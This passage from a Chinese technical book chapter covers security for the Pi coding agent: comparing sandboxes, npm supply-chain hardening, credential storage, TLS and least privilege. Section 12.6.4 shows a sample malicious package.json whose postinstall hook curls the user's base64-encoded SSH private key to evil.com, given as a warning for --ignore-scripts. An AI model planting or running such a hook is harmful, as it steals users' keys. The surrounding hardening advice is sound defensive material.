    enforce: true                  # true = 策略违规直接终止;false = 日志警告但允许
    audit_log: "./openshell-audit.log"

策略测试模式:

在正式启用策略前,可以先运行在”审计模式”下——违规操作不会被阻止,但会被记录到审计日志。这让你能在不影响工作流的前提下调整策略:

pi --openshell openshell.yaml --openshell-audit-only

运行一段时间后,检查审计日志,确认没有误报,再将策略切换到强制执行模式:

pi --openshell openshell.yaml --openshell-enforce

12.4.5 与 Docker 方案的对比

维度 OpenShell Docker
隔离级别 进程级(同一内核) 容器级(namespace 隔离,共享内核)
性能开销 极低(~1% 系统调用拦截开销) 低-中(namespace 创建 + 文件系统层)
启动速度 毫秒级(附加 seccomp/Landlock 规则) 秒级(容器创建 + 初始化)
配置粒度 极细(可精确到文件路径 glob、系统调用号) 中(卷挂载、端口暴露)
内核逃逸风险 较高(共享同一内核,受内核漏洞影响) 中(namespace 隔离,但任共享内核)
文件系统镜像 不需要(直接在主机文件系统上操作) 需要(Docker 镜像 + 卷挂载)
依赖管理 主机上已有的工具 容器内的独立工具链
跨平台 Linux + macOS Linux + macOS + Windows
工具集成 任何主机上已安装的工具都可白名单放行 容器内必须预装所有需要的工具
持久化 直接主机文件系统(策略允许的范围内) 通过卷挂载
供应链安全 依赖主机安装的工具版本 完全可控(Dockerfile 锁定版本)

简单来说:OpenShell 更像给 Pi 装了一套”精细的路障”,Docker 更像是给 Pi 盖了一个”独立的房间”。 房间(Docker)的隔离更彻底,但进出房间(卷挂载、端口映射)更麻烦;路障(OpenShell)更轻量,但房间的墙(namespace)不存在。

12.5 三种隔离模式对比

12.5.1 核心维度对比

维度 Gondolin(微 VM) Docker(容器) OpenShell(策略沙箱)
安全等级 ⭐⭐⭐⭐⭐ ⭐⭐⭐⭐ ⭐⭐⭐
性能开销 中(KVM 虚拟化 ~5-15% 开销) 低(namespace 隔离,几乎原生性能) 极低(仅系统调用拦截 ~1%)
启动速度 秒级(VM 启动) 秒级(容器创建) 毫秒级(附加安全策略)
配置复杂度 高(需安装 gondolind + 理解 VM 概念) 中(Dockerfile + docker run 参数) 中低(YAML 策略文件)
文件访问 virtio-fs 映射(接近原生性能) bind mount(原生性能) Landlock 拦截(原生性能 + 策略开销)
网络隔离 默认无网络,可选受限 灵活(none/bridge/host) 系统调用拦截 + iptables
凭据安全 ⭐⭐⭐⭐⭐(凭据不在 VM 内) ⭐⭐⭐(凭据随镜像或挂载进入) ⭐⭐⭐(凭据在进程内可见)
内核独立 ✅ 独立内核 ❌ 共享主机内核 ❌ 共享主机内核
操作系统支持 Linux(需要 KVM) Linux / macOS / Windows Linux(5.13+)/ macOS
工具修复/审计 VM 销毁状态消失 容器销毁状态消失(卷挂载除外) 文件保留在主机上
开发体验 好(TUI 完全透明) 中(需管理卷挂载和网络) 好(原生体验,策略控制)
CI/CD 集成 需要 KVM(受限) ⭐⭐⭐⭐⭐(原生支持) 中(需要 Linux 5.13+)

12.5.2 安全等级说明

Gondolin(⭐⭐⭐⭐⭐ 最高)

  • 独立 Linux 内核,即使内核有 CVE,攻击者也需要同时攻破 KVM 和 VM 内核——两道防线
  • 凭据完全不在 VM 中——即使 VM 被完全控制,API Key 不会泄露
  • 每次工具调用可配置为销毁 VM 后重建——持久化攻击不可能
  • 适合:处理完全不可信的第三方代码、运行来自未知来源的项目

Docker(⭐⭐⭐⭐ 高)

  • namespace + cgroup + seccomp 多层隔离
  • 共享主机内核是最大弱点——内核 CVE 可能被用于容器逃逸
  • 凭据需要在容器内可用(环境变量或挂载),存在泄露风险
  • 适合:运行自己的项目、需要网络隔离但不是最高威胁模型

OpenShell(⭐⭐⭐ 中高)

  • seccomp-bpf + Landlock 提供了可编程的精细控制
  • 共享内核 + 无独立内核 = 内核漏洞直接影响
  • 进程内可见的凭据与主机文件系统 = 如果规则有漏洞,凭据可访问
  • 适合:日常开发中的行为约束、防止 Agent 误操作(而非防恶意攻击)

12.5.3 适用场景速查表

场景 推荐方案 理由
审查第三方项目代码(不确定是否安全) Gondolin 只读 + 无网络 VM 隔绝对攻击者不可知的内核环境;无网络杜绝数据外泄
日常开发自己的项目 OpenShell(日常)/ Docker(需要网络隔离时) OpenShell 几乎零开销;Docker 提供网络隔离 + node_modules 隔离
在 CI/CD 中运行 Pi 做代码审查 Docker CI 原生支持 Docker,不需额外基础设施
macOS 用户需要最高安全 Docker(优先)/ OpenShell(次选) macOS 不支持 KVM(Gondolin 不可用)
运行包含 GPU 计算的项目(模型微调等) Docker + --gpus all Docker 原生支持 GPU 直通
学习/实验 Pi,不想配安全 无隔离(默认 YOLO) 在信任的项目上,直接运行是最快的方式
处理含有敏感数据的项目(医疗、金融) Gondolin VM 级隔离 + 凭据不在 VM 内 + 独立内核
多子 Agent 并行执行不同任务 Gondolin(多 VM 池) 每个子 Agent 独立 VM,互不干扰
在受限环境中运行(无 Docker、无 KVM) OpenShell 不依赖外部守护进程,纯策略文件

12.6 供应链安全

Pi 的供应链安全不只关系到”你安装的 Pi 是否安全”,还关系到”当你让 Pi 帮你安装任何 npm 包时,那些包是否安全”。

12.6.1 npm 依赖锁定

Pi 官方仓库采用了一套严格的 npm 依赖管理策略:

(1)save-exact=true.npmrc

在 Pi 仓库的 .npmrc 中设置了:

save-exact=true

这意味着 npm install <package> 默认将依赖锁定到精确版本(如 1.2.3),而不是使用范围版本(如 ^1.2.3)。范围版本可能在不经意间引入 breaking change 或带有恶意代码的更新。

你可以为你的 Pi 项目做同样的事:

# 在项目根目录创建或编辑 .npmrc
echo "save-exact=true" >> .npmrc
echo "engine-strict=true" >> .npmrc
echo "package-lock=true" >> .npmrc

(2)package-lock.json 是真相来源

Pi 将 package-lock.json 视为依赖树的权威来源。lockfile 精确记录了每个包的版本、完整性哈希、解析 URL。当 package-lock.json 存在时,npm ci 会严格按照 lockfile 安装依赖,忽略 package.json 中的范围——这意味着即使上游包的 latest 版本被投毒,lockfile 能保护你。

12.6.2 npm-shrinkwrap.json 生产锁定

Pi 发布到 npm 的每个包都包含 npm-shrinkwrap.json。与 package-lock.json 不同,shrinkwrap 会在你的 npm 包被安装为依赖时生效——它锁定的是传递依赖(transitive dependencies)。

你的项目
  └── @earendil-works/pi-coding-agent@0.80.2
        ├── @earendil-works/pi-ai@0.80.2  ← 此包带有 npm-shrinkwrap.json
        │     ├── openai@4.55.0              ← 此版本由 shrinkwrap 锁定
        │     └── undici@6.19.0              ← 即便 openai 声明 ^undici@6.0.0
        └── @earendil-works/pi-agent-core@0.80.2
              └── ...                        ← 同样锁定了所有传递依赖

12.6.3 npm audit 定期审查

Pi 的 CI 管道定期运行 npm audit --omit=dev,检测生产依赖中是否存在已知漏洞。你应该在你的项目中做同样的事:

# 检查生产依赖的已知漏洞
npm audit --omit=dev

# 尝试自动修复
npm audit fix --omit=dev

# 如果自动修复导致 breaking change,查看详情
npm audit --json | npx @npmcli/arborist-audit-json-viewer

12.6.4 npm ci --ignore-scripts

在 CI/CD 环境中安装 Pi 时,永远使用:

npm ci --ignore-scripts

而不是:

npm install    # 或 npm i

两者的关键区别:

  npm install npm ci
依赖来源 按 package.json 范围解析,可能引入与 lockfile 不同的版本 严格按照 package-lock.json 安装
lockfile 会修改 package-lock.json 不修改 lockfile(如果 lockfile 与 package.json 不一致则直接失败)
node_modules 增量安装 先删除 node_modules 再干净安装
速度 慢(多次解析) 快(一次解析,按 lockfile 直接安装)

--ignore-scripts 参数极为重要——它阻止所有依赖包的 preinstallinstallpostinstall 脚本运行。这些脚本是 npm 供应链攻击最常见的入口:

恶意包的 package.json:
{
  "name": "useful-looking-tool",
  "scripts": {
    "postinstall": "curl -s http://evil.com/collect?data=$(cat ~/.ssh/id_rsa | base64)"  ← 攻击载荷
  }
}

如果你使用 Gondolin 或 Docker 运行 Pi,依赖包的安装和脚本执行应该在隔离环境中进行——如果必须执行 postinstall 脚本,确保在沙箱内。

12.6.5 预提交钩子(pre-commit hooks)

Pi 仓库使用 pre-commit 钩子防止意外提交 lockfile 变更。这是一个项目维护者层面的实践,但对你作为使用者也有启示——这意味着 Pi 官方在发布前会验证 lockfile 的每次变更是否合理。

对你的启示:

# 安装 pre-commit(如果你维护 Pi 相关的项目)
pip install pre-commit

# 在 .pre-commit-config.yaml 中配置
repos:
  - repo: local
    hooks:
      - id: check-package-lock
        name: 检查 package-lock.json 不被意外修改
        entry: bash -c 'git diff --cached --name-only | grep -q package-lock.json && echo "警告: package-lock.json 被修改。请确认变更是有意的。" && exit 1 || exit 0'
        language: system
        pass_filenames: false

12.6.6 min-release-age 策略

Pi 的 .npmrc 中设置了 min-release-age=2

# ~/.pi/.npmrc 或你的项目 .npmrc
min-release-age=2

这个设置的作用是:当安装一个包时,跳过发布不满 2 天的版本。 这背后的逻辑是:npm 包投毒攻击通常在发布后几小时到一天内被发现并下架。等待 2 天可以自然过滤掉绝大多数快速投毒攻击,同时不影响正常更新。

12.7 凭据安全

12.7.1 auth.json 存储位置和权限

Pi 将所有供应商认证信息存储在 ~/.pi/credentials/ 目录下:

~/.pi/credentials/
├── auth.json                    # 主凭据文件(JSON 格式)
├── anthropic.json               # Anthropic 凭据
├── openai.json                  # OpenAI 凭据
├── deepseek.json                # DeepSeek 凭据
├── google.json                  # Google Gemini 凭据
└── ...                          # 其他供应商

auth.json 的结构:

{
  "providers": {
    "anthropic": {
      "type": "api_key",
      "key": "sk-ant-api03-xxxxxxxxxxxxx"
    },
    "openai": {
      "type": "api_key",
      "key": "sk-proj-xxxxxxxxxxxxx"
    },
    "github_copilot": {
      "type": "oauth",
      "token": "gho_xxxxxxxxxxxxx",
      "refresh_token": "ghr_xxxxxxxxxxxxx",
      "expires_at": "2026-08-01T00:00:00Z"
    }
  }
}

权限设置最佳实践:

# 设置凭据目录权限:只有当前用户可读写
chmod 700 ~/.pi/credentials/

# 设置凭据文件权限:只有当前用户可读写
chmod 600 ~/.pi/credentials/*.json

# 确认权限
ls -la ~/.pi/credentials/
# drwx------  2 you  you  4096 Jun 30 12:00 .
# -rw-------  1 you  you   512 Jun 30 12:00 auth.json

这些权限设置确保只有你的用户账号(root 除外)能读取凭据文件。其他用户、同组的用户、系统服务均无法访问。

12.7.2 环境变量 vs auth.json

Pi 支持两种凭据提供方式:

方式 安全性 便利性 适用场景
auth.json 中高(文件权限控制) 高(Pi 自动读取) 个人开发机器、本地使用
环境变量 高(不出现在文件系统中) 中(需在每次会话前设置) CI/CD、容器环境、多用户共享机器
--api-key CLI 参数 中低(可能被 ps 命令看到) 低(每次都要传) 临时使用、测试
Docker secrets 高(加密 + 内存挂载) 低(仅 Docker Swarm) 生产级 Docker 部署
系统密钥管理(macOS Keychain / Linux Secret Service) 最高(硬件支持的加密) 桌面端个人机器

环境变量的使用方式:

# 单次会话
export ANTHROPIC_API_KEY="sk-ant-api03-xxxxx"
export OPENAI_API_KEY="sk-proj-xxxxx"
pi

# 永久设置(bash/zsh)
echo 'export ANTHROPIC_API_KEY="sk-ant-api03-xxxxx"' >> ~/.bashrc
# 注意: .bashrc 是纯文本,任何能读取 ~/.bashrc 的进程都能看到凭据

# 更安全的方式:从密钥管理器读取
export ANTHROPIC_API_KEY=$(pass show api/anthropic)
export OPENAI_API_KEY=$(security find-generic-password -w -s "openai-api-key")
pi

12.7.3 OAuth Token 存储

Pi 支持通过 OAuth 认证的供应商(如 GitHub Copilot、ChatGPT Plus/Pro 订阅制)。OAuth Token 包含:

  • Access Token(短期有效,通常 1 小时~数天)
  • Refresh Token(长期有效,用于获取新的 Access Token)
  • Expiry(过期时间)

OAuth 凭据的特殊风险:

Refresh Token 如果泄露,攻击者可以无限期地使用你的账户——它们不像 API Key 那样可以随时 revoke 单一把 Key。保护 Refresh Token 应该比保护 API Key 更加谨慎。

最佳实践:

# 将 OAuth Token 单独存放在最受限的文件中
chmod 600 ~/.pi/credentials/oauth.json

# 使用系统密钥管理器存储 Refresh Token
# macOS
security add-generic-password -a "pi" -s "github-copilot-refresh-token" -w "ghr_xxxxxxxxxxxxx"

# Linux (使用 pass)
echo "ghr_xxxxxxxxxxxxx" | pass insert -e pi/github-copilot-refresh-token

12.7.4 凭据加密建议

对于生产环境或高安全性需求,建议对凭据进行加密存储:

方案 1:文件系统加密(最简单)

# Linux: ecryptfs 加密目录
sudo mount -t ecryptfs ~/.pi/credentials ~/.pi/credentials
# 或使用 fscrypt
sudo fscrypt encrypt ~/.pi/credentials

# macOS: FileVault 已加密整个磁盘(默认)
# 额外保护: 将凭据放在加密的 DMG 镜像中
hdiutil create -encryption AES-256 -size 10m -fs HFS+ -volname PiCredentials pi-creds.dmg
hdiutil attach pi-creds.dmg -mountpoint ~/.pi/credentials

方案 2:使用 GPG 加密单个文件

# 加密 auth.json
gpg --symmetric --cipher-algo AES256 ~/.pi/credentials/auth.json

# 解密后使用
gpg --decrypt ~/.pi/credentials/auth.json.gpg > /tmp/auth-decrypted.json
ANTHROPIC_API_KEY=$(jq -r '.providers.anthropic.key' /tmp/auth-decrypted.json) pi
shred -u /tmp/auth-decrypted.json  # 安全删除临时文件

方案 3:使用系统密钥管理器(推荐)

这是安全与便利的平衡点——凭据存在经过硬件加密的系统存储中,Pi 在需要时读取:

# macOS: Keychain
security add-generic-password -a "$USER" -s "pi-anthropic-key" -w "sk-ant-xxxxx"
security find-generic-password -w -s "pi-anthropic-key" | xargs -I {} pi --api-key {}

# Linux: GNOME Keyring / KWallet / pass
secret-tool store --label="Pi Anthropic" api-key anthropic
export ANTHROPIC_API_KEY=$(secret-tool lookup api-key anthropic)

12.8 网络安全

12.8.1 httpProxy 配置

如果你在企业内网或需要通过代理访问 LLM API,Pi 支持 HTTP 代理配置:

# ~/.pi/config.yaml
httpProxy: "http://proxy.company.com:8080"

# 或使用环境变量(影响所有 Node.js 网络请求)
# export HTTP_PROXY="http://proxy.company.com:8080"
# export HTTPS_PROXY="http://proxy.company.com:8080"
# export NO_PROXY="localhost,127.0.0.1,.local"

providers:
  anthropic:
    httpProxy: "http://proxy.company.com:8080"  # 供应商级别的代理覆盖
  openai:
    httpProxy: "http://direct-gateway.company.com:443"  # 特定供应商走不同代理

在 Docker 容器中使用代理时:

docker run -it --rm \
  -e HTTP_PROXY="http://host.docker.internal:8080" \
  -e HTTPS_PROXY="http://host.docker.internal:8080" \
  -e NO_PROXY="localhost,127.0.0.1" \
  pi-agent

12.8.2 模型 API 通信加密(HTTPS)

Pi 与所有供应商的模型 API 通信强制使用 HTTPS——这是由 Pi 的 HTTP 客户端(基于 undicinode-fetch)在底层保证的。明文 HTTP 端点不被接受。

但有几件事你需要知道:

(1)TLS 证书验证

Pi 默认启用严格的 TLS 证书验证。如果你使用自托管模型(如 Ollama、vLLM)且使用自签名证书,需要通过环境变量信任你的 CA:

export NODE_EXTRA_CA_CERTS="/path/to/your-ca-cert.pem"
pi -m openai-compatible/your-model

或者在代码层面禁用验证(仅用于本地开发,绝不用于生产):

# ~/.pi/config.yaml
providers:
  custom:
    baseUrl: "https://localhost:11434/v1"
    tls:
      rejectUnauthorized: false  # 危险!仅限本地开发

(2)供应商 API 端点审计

Pi 内置了 30+ 供应商,每个供应商的端点 URL 都硬编码在 pi-ai 的模型注册表中。你可以验证这些 URL:

# 检查 Pi 使用的供应商 API 端点
pi --list-providers

# 输出示例:
# anthropic:    https://api.anthropic.com/v1/messages
# openai:       https://api.openai.com/v1/chat/completions
# deepseek:     https://api.deepseek.com/chat/completions
# ollama:       http://localhost:11434/api/generate

注意到 Ollama 使用 http://(localhost 通信无须加密)。如果你把 Ollama 暴露到外部网络上,务必在前面加一层 HTTPS 反向代理(如 nginx + Let’s Encrypt)。

12.8.3 自定义供应商网络安全

当你添加自定义供应商时(如自托管的 vLLM、text-generation-webui),网络安全的把关者是你自己:

# ~/.pi/config.yaml
providers:
  my-vllm:
    name: "My vLLM Server"
    models: ["my-fine-tuned-model"]
    api: "openai-compatible"
    baseUrl: "https://gpu-server.internal:8000/v1"
    headers:
      Authorization: "Bearer ${VLLM_API_KEY}"
    # 网络安全配置
    network:
      timeout: 60000                # 请求超时 60 秒
      maxRetries: 3                 # 最多重试 3 次
      tls:
        ca: "/etc/ssl/certs/internal-ca.crt"  # 自定义 CA 证书
        rejectUnauthorized: true    # 严格验证证书(生产环境务必 true)

关键规则:

  • 永远不要将 rejectUnauthorized: false 用于生产环境
  • 内部自托管服务的证书至少应该是企业内部 CA 签发的(而不是自签名)
  • 使用网络隔离(防火墙、VLAN)限制模型推理服务器的可达范围
  • 在容器中使用时(12.3 节),确保模型 API 端点的 TLS 证书在容器内可验证

12.9 最佳实践

12.9.1 开发环境 vs 生产环境的安全策略

安全策略不应该一刀切——开发环境和生产环境的安全需求不同:

安全措施 开发环境 生产环境(CI/CD / 自动化)
隔离方案 OpenShell 或直接运行 Docker 或 Gondolin
网络 允许(需要查文档、装包) 严格限制(只允许必要的 API 端点)
工具集 全部 4 个工具 按需(CI 中可能只需要 read + bash)
文件访问 项目目录 + 常用系统路径 仅项目工作目录
凭据存储 系统密钥管理器 CI 密钥服务(GitHub Secrets / GitLab CI Variables)
审计日志 可选 强制(所有 bash 命令记录到日志)
模型 用户自选 固定(避免 prompt 注入操控模型切换)

开发环境的典型配置:

# ~/.pi/dev-config.yaml
extensions:
  "@badlogic/pi-openshell":
    enabled: true
    policy: "./openshell-dev.yaml"   # 宽松策略
    enforce: false                   # 审计模式(不阻断)
    audit_log: "./audit.log"

CI/CD 的典型配置:

# ci-config.yaml
no_tools: false
tools: [read, grep, find, ls]        # 只读工具集
extensions:
  "@badlogic/pi-openshell":
    enabled: true
    policy: "./openshell-ci.yaml"    # 严格策略
    enforce: true                    # 强制执行
    audit_log: "/var/log/pi-audit.log"

12.9.2 敏感项目隔离

当你同时处理多个项目——有些是公开的开源项目,有些是包含商业机密的内部项目——建议使用项目级隔离

# 为每个敏感项目创建独立的 Pi 工作区
~/pi-sandboxes/
├── open-source-project/        # 开源项目(普通隔离)
│   ├── workspace/              # 项目代码
│   └── pi.config.yaml          # 基本安全策略
├── internal-project/           # 内部项目(Docker 隔离)
│   ├── workspace/              # 项目代码
│   ├── Dockerfile              # 容器配置
│   └── docker-compose.yaml     # 网络隔离 + 卷管理
└── top-secret-client/          # 高度敏感(Gondolin 隔离)
    ├── workspace/              # 项目代码
    ├── gondolin.yaml           # Gondolin 策略
    └── openshell.yaml          # OpenShell 双层策略(纵深防御)

隔离原则:

  1. 一个项目 = 一个工作区。不要让 Pi 在同一会话中接触多个项目
  2. 凭据隔离:不同项目使用不同的 API Key(如果供应商支持子账户)
  3. 网络隔离:敏感项目用 --network none 或 Gondolin network: none
  4. 会话历史隔离:不同项目的 Pi 会话日志放在不同目录,避免跨项目信息泄露

12.9.3 审计日志

即使你信任 Agent,审计日志仍然至关重要——它不仅用于安全审计,也用于事后理解”Agent 到底做了什么”。

Pi 内置的审计能力:

  1. 会话 JSONL 文件~/.pi/sessions/):完整记录了每次模型推理和工具调用
  2. HTML 导出/export 命令):人类可读的会话回顾
  3. TUI 实时输出:工具调用在终端中实时可见

增强审计日志:

# 使用 script 命令记录整个 Pi 会话的终端输出
script -q -c "pi --config secure-config.yaml" ~/pi-audit-logs/session-$(date +%Y%m%d-%H%M%S).log

# 或者使用 tee 同时输出到终端和文件
pi --config secure-config.yaml 2>&1 | tee ~/pi-audit-logs/session-$(date +%Y%m%d-%H%M%S).log

Docker 环境中的审计:

# 将日志目录挂载到主机
docker run -it --rm \
  -v ~/pi-audit-logs:/logs:rw \
  -e PI_LOG_DIR=/logs \
  pi-agent

# 查看最近的 bash 命令执行记录(需自行实现 bash wrapper)
docker exec pi-session cat /logs/bash-history.log

关键审计项:

审计项 记录什么
文件修改 哪些文件被 editwrite 修改了?在什么时间?
命令执行 哪些 bash 命令被执行了?退出码是多少?
网络请求 Agent 是否发起了意外的网络请求?
凭据访问 Agent 是否读取了 auth.json 或环境变量?(container 内可审计)
模型切换 Agent 是否自行切换了模型?(--model-lock 参数可防止)

12.9.4 最小权限原则

将 Linux 的最小权限原则(Principle of Least Privilege)应用到 Pi 的使用中:

1. 给模型它需要的,不多不少

# 错误:给模型全部工具
pi

# 正确:代码审查只给只读工具
pi --tools read,grep,find,ls

# 正确:纯写代码但不让跑测试
pi --exclude-tools bash

# 正确:纯聊天模式(不碰文件和代码)
pi --no-tools

2. 使用项目专用的低权限用户

# 创建专用 piuser(低权限)
sudo useradd --system --shell /bin/bash --create-home piuser
sudo chown -R piuser:piuser /path/to/project/

# 以 piuser 身份运行 Pi
sudo -u piuser pi

在 Docker 中,用户 ID 1000(非 root)是等效的做法(见 12.3.2 节)。

3. 使用 trust.json 控制项目信任状态

// ~/.pi/agent/trust.json
{
  "/home/you/projects/trusted-app": {
    "trusted": true,
    "allow_bash": true,
    "allow_network": true
  },
  "/home/you/projects/third-party-code": {
    "trusted": false,
    "allow_bash": false,
    "allow_network": false,
    "tools": ["read", "grep", "find", "ls"]
  },
  "/home/you/projects/*": {
    "trusted": true,
    "ask_first": true
  }
}

trust.json 按目录路径持久化信任级别,支持通配符和父目录继承。这是 Pi 在”完全信任”和”完全不信任”之间的一个实用的中间地带。

4. 锁定模型和提供商

# 防止 Agent 自行切换模型或提供商
pi --model-lock --provider-lock

# 等同于在配置中设置:
# settings.json
{
  "model": "anthropic/claude-sonnet-4.6",
  "lockModel": true,
  "lockProvider": true
}

模型锁定确保 Agent 不能通过 bash 调用另一个模型(通过 curl API 等),也不能读取 settings.json 后自行修改配置——这些操作都在容器/VM 的策略控制之外,但模型锁定在应用层提供了又一层防护。

12.10 本章小结

本章我们从”为什么 Pi 不内置安全护栏”这个基本问题出发,系统讲解了 Pi 的安全沙箱方案:

  • Pi 的默认 YOLO 模式是效率优先的主动选择,而非安全疏漏。Mario 的”安全剧场”论点深刻揭示了编码 Agent 的安全困境:纯软件层面的护栏在”读数据 + 写代码 + 执行代码”三者共存的前提下无法真正防御恶意行为。真正的安全边界必须建立在操作系统层面。

  • 三层安全模型(基础设施层 → 配置层 → 运行层)提供了纵深防御框架,其中基础设施层(容器/VM 隔离)是不可绕过的硬边界。

  • Gondolin 微虚拟机扩展(推荐方案)将 Pi 的工具执行路由到独立的 Linux 微 VM 中,实现了最高级别的隔离——独立内核、凭据完全不在 VM 中、可配置的无网络模式和每次调用后销毁 VM。这是在”高安全性”和”良好开发体验”之间目前最优的平衡点。

  • 纯 Docker 模式通过标准的容器隔离(namespace + cgroup + seccomp)运行整个 Pi 进程,适合 macOS/Windows 用户、CI/CD 环境和已经熟悉 Docker 的团队。通过精细的卷挂载配置、网络隔离和资源限制,可以达到高水平的实用安全性。

  • OpenShell 策略沙箱提供进程级的精细权限控制(Landlock + seccomp-bpf),几乎零性能开销,适合需要精确控制 Agent 行为而非防御恶意攻击的场景。

  • 供应链安全是容器化之外的另一条防线:save-exact=truepackage-lock.json 权威、npm-shrinkwrap.json 传递依赖锁定、npm ci --ignore-scriptsmin-release-age=2——这些措施共同防止了依赖投毒攻击。

  • 凭据安全的核心是分层存储:系统密钥管理器(最安全)→ 环境变量(较安全)→ 加密文件 → 明文文件。OAuth Token 的 Refresh Token 比 API Key 更需要保护。

  • 网络安全的基础是 httpsProxy 配置、HTTPS 强制加密、自定义供应商的 TLS 证书管理。

  • 最佳实践强调”不同场景不同策略”:开发环境可以宽松(效率优先),生产环境/CI/CD 必须严格(安全优先)。最小权限原则、项目隔离、审计日志、模型锁定是日常使用中最重要的安全习惯。

下一章:第十三章:核心架构pi-ai统一LLM-API层 将深入 Pi 的核心架构——pi-ai 统一 LLM API 层:它是如何用一套接口适配 Anthropic Messages、OpenAI Completions/Responses、Google Generative AI 等四种完全不同的 API 协议,同时处理流式传输、工具调用、跨供应商上下文传递和 token/成本追踪的。